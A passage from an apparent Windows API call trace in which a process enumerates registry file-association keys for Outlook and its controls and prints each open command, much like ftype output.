(in: hKey=0x4c, dwIndex=0xad0, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.ics.15") returned 0x0 [0101.213] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.ics.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.213] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x92) returned 0x0 [0101.213] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x92 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /ical \"%1\"", lpcbData=0x2eef20*=0x92) returned 0x0 [0101.213] RegCloseKey (hKey=0x64) returned 0x0 [0101.214] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.File.ics.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /ical \"%1\"\r\n") returned 94 [0101.214] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.214] GetFileType (hFile=0x5c) returned 0x3 [0101.214] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.ics.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /ical \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.ics.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /ical \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95 [0101.214] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5e, lpOverlapped=0x0) returned 1 [0101.214] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad1, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.msg.15") returned 0x0 [0101.214] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.msg.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.214] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x8c) returned 0x0 [0101.214] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x8c | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /f \"%1\"", lpcbData=0x2eef20*=0x8c) returned 0x0 [0101.214] RegCloseKey (hKey=0x64) returned 0x0 [0101.214] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.File.msg.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /f \"%1\"\r\n") returned 91 [0101.214] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.214] GetFileType (hFile=0x5c) returned 0x3 [0101.214] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.msg.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /f \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.msg.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /f \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92 [0101.214] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5b, lpOverlapped=0x0) returned 1 [0101.214] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad2, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.nk2.15") returned 0x0 [0101.214] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.nk2.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.215] SetLastError (dwErrCode=0x2) [0101.215] RegCloseKey (hKey=0x0) returned 0x6 [0101.215] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad3, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.nst.15") returned 0x0 [0101.215] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.nst.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.215] SetLastError (dwErrCode=0x2) [0101.215] RegCloseKey (hKey=0x0) returned 0x6 [0101.215] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad4, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.ofs.15") returned 0x0 [0101.215] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.ofs.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.215] SetLastError (dwErrCode=0x2) [0101.215] RegCloseKey (hKey=0x0) returned 0x6 [0101.215] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad5, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.oft.15") returned 0x0 [0101.215] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.oft.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.215] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x8c) returned 0x0 [0101.215] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x8c | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /t \"%1\"", lpcbData=0x2eef20*=0x8c) returned 0x0 [0101.215] RegCloseKey (hKey=0x64) returned 0x0 [0101.215] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.File.oft.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /t \"%1\"\r\n") returned 91 [0101.215] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.215] GetFileType (hFile=0x5c) returned 0x3 [0101.215] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.oft.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /t \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.oft.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /t \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92 [0101.215] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5b, lpOverlapped=0x0) returned 1 [0101.216] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad6, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.ost.15") returned 0x0 [0101.216] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.ost.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.216] SetLastError (dwErrCode=0x2) [0101.216] RegCloseKey (hKey=0x0) returned 0x6 [0101.216] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad7, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.otm.15") returned 0x0 [0101.216] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.otm.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.216] SetLastError (dwErrCode=0x2) [0101.216] RegCloseKey (hKey=0x0) returned 0x6 [0101.216] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad8, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.pab.15") returned 0x0 [0101.216] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.pab.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.216] SetLastError (dwErrCode=0x2) [0101.216] RegCloseKey (hKey=0x0) returned 0x6 [0101.216] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad9, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.pst.15") returned 0x0 [0101.216] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.pst.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.216] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x90) returned 0x0 [0101.216] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x90 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /pst \"%1\"", lpcbData=0x2eef20*=0x90) returned 0x0 [0101.217] RegCloseKey (hKey=0x64) returned 0x0 [0101.217] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.File.pst.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /pst \"%1\"\r\n") returned 93 [0101.217] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.217] GetFileType (hFile=0x5c) returned 0x3 [0101.217] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.pst.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /pst \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.pst.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /pst \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94 [0101.217] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5d, lpOverlapped=0x0) returned 1 [0101.217] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xada, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.vcf.15") returned 0x0 [0101.217] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.vcf.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.217] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x8c) returned 0x0 [0101.217] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x8c | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /v \"%1\"", lpcbData=0x2eef20*=0x8c) returned 0x0 [0101.217] RegCloseKey (hKey=0x64) returned 0x0 [0101.217] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.File.vcf.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /v \"%1\"\r\n") returned 91 [0101.217] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.217] GetFileType (hFile=0x5c) returned 0x3 [0101.218] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.vcf.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /v \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.vcf.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /v \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92 [0101.218] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5b, lpOverlapped=0x0) returned 1 [0101.218] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xadb, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.vcs.15") returned 0x0 [0101.218] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.vcs.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.218] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x92) returned 0x0 [0101.218] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x92 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /vcal \"%1\"", lpcbData=0x2eef20*=0x92) returned 0x0 [0101.218] RegCloseKey (hKey=0x64) returned 0x0 [0101.218] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.File.vcs.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /vcal \"%1\"\r\n") returned 94 [0101.218] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.218] GetFileType (hFile=0x5c) returned 0x3 [0101.218] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.vcs.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /vcal \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.vcs.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /vcal \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95 [0101.218] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5e, lpOverlapped=0x0) returned 1 [0101.219] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xadc, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.FileAttach") returned 0x0 [0101.219] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.FileAttach\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.219] SetLastError (dwErrCode=0x2) [0101.219] RegCloseKey (hKey=0x0) returned 0x6 [0101.219] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xadd, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.MsgAttach") returned 0x0 [0101.219] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.MsgAttach\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.219] SetLastError (dwErrCode=0x2) [0101.219] RegCloseKey (hKey=0x0) returned 0x6 [0101.219] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xade, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkBusinessCardControl") returned 0x0 [0101.219] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkBusinessCardControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.219] SetLastError (dwErrCode=0x2) [0101.219] RegCloseKey (hKey=0x0) returned 0x6 [0101.219] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xadf, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkBusinessCardControl.1") returned 0x0 [0101.219] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkBusinessCardControl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.219] SetLastError (dwErrCode=0x2) [0101.219] RegCloseKey (hKey=0x0) returned 0x6 [0101.219] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae0, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkCategoryStrip") returned 0x0 [0101.219] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkCategoryStrip\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.220] SetLastError (dwErrCode=0x2) [0101.220] RegCloseKey (hKey=0x0) returned 0x6 [0101.220] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae1, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkCategoryStrip.1") returned 0x0 [0101.220] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkCategoryStrip.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.220] SetLastError (dwErrCode=0x2) [0101.220] RegCloseKey (hKey=0x0) returned 0x6 [0101.220] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae2, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkCheckBox") returned 0x0 [0101.220] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkCheckBox\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.220] SetLastError (dwErrCode=0x2) [0101.220] RegCloseKey (hKey=0x0) returned 0x6 [0101.220] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae3, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkCheckBox.1") returned 0x0 [0101.220] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkCheckBox.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.220] SetLastError (dwErrCode=0x2) [0101.220] RegCloseKey (hKey=0x0) returned 0x6 [0101.220] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae4, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkComboBox") returned 0x0 [0101.220] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkComboBox\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.220] SetLastError (dwErrCode=0x2) [0101.220] RegCloseKey (hKey=0x0) returned 0x6 [0101.220] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae5, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkComboBox.1") returned 0x0 [0101.220] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkComboBox.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.220] SetLastError (dwErrCode=0x2) [0101.220] RegCloseKey (hKey=0x0) returned 0x6 [0101.220] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae6, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkCommandButton") returned 0x0 [0101.221] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkCommandButton\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.221] SetLastError (dwErrCode=0x2) [0101.221] RegCloseKey (hKey=0x0) returned 0x6 [0101.221] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae7, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkCommandButton.1") returned 0x0 [0101.221] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkCommandButton.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.221] SetLastError (dwErrCode=0x2) [0101.221] RegCloseKey (hKey=0x0) returned 0x6 [0101.221] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae8, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkContactPhoto") returned 0x0 [0101.221] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkContactPhoto\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.221] SetLastError (dwErrCode=0x2) [0101.221] RegCloseKey (hKey=0x0) returned 0x6 [0101.221] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae9, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkContactPhoto.1") returned 0x0 [0101.221] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkContactPhoto.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.221] SetLastError (dwErrCode=0x2) [0101.221] RegCloseKey (hKey=0x0) returned 0x6 [0101.221] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaea, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkDateControl") returned 0x0 [0101.221] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkDateControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.221] SetLastError (dwErrCode=0x2) [0101.221] RegCloseKey (hKey=0x0) returned 0x6 [0101.221] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaeb, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkDateControl.1") returned 0x0 [0101.221] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkDateControl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.222] SetLastError (dwErrCode=0x2) [0101.222] RegCloseKey (hKey=0x0) returned 0x6 [0101.222] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaec, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkFrameHeader") returned 0x0 [0101.222] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkFrameHeader\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.222] SetLastError (dwErrCode=0x2) [0101.222] RegCloseKey (hKey=0x0) returned 0x6 [0101.222] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaed, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkFrameHeader.1") returned 0x0 [0101.222] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkFrameHeader.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.222] SetLastError (dwErrCode=0x2) [0101.222] RegCloseKey (hKey=0x0) returned 0x6 [0101.222] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaee, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkInfoBar") returned 0x0 [0101.222] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkInfoBar\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.222] SetLastError (dwErrCode=0x2) [0101.222] RegCloseKey (hKey=0x0) returned 0x6 [0101.222] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaef, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkInfoBar.1") returned 0x0 [0101.222] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkInfoBar.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.222] SetLastError (dwErrCode=0x2) [0101.222] RegCloseKey (hKey=0x0) returned 0x6 [0101.222] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf0, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkLabel") returned 0x0 [0101.222] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkLabel\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.222] SetLastError (dwErrCode=0x2) [0101.222] RegCloseKey (hKey=0x0) returned 0x6 [0101.222] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf1, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkLabel.1") returned 0x0 [0101.223] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkLabel.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.223] SetLastError (dwErrCode=0x2) [0101.223] RegCloseKey (hKey=0x0) returned 0x6 [0101.223] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf2, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.OlkListBox") returned 0x0 [0101.223] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.OlkListBox\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.223] SetLastError (dwErrCode=0x2) [0101.223] RegCloseKey 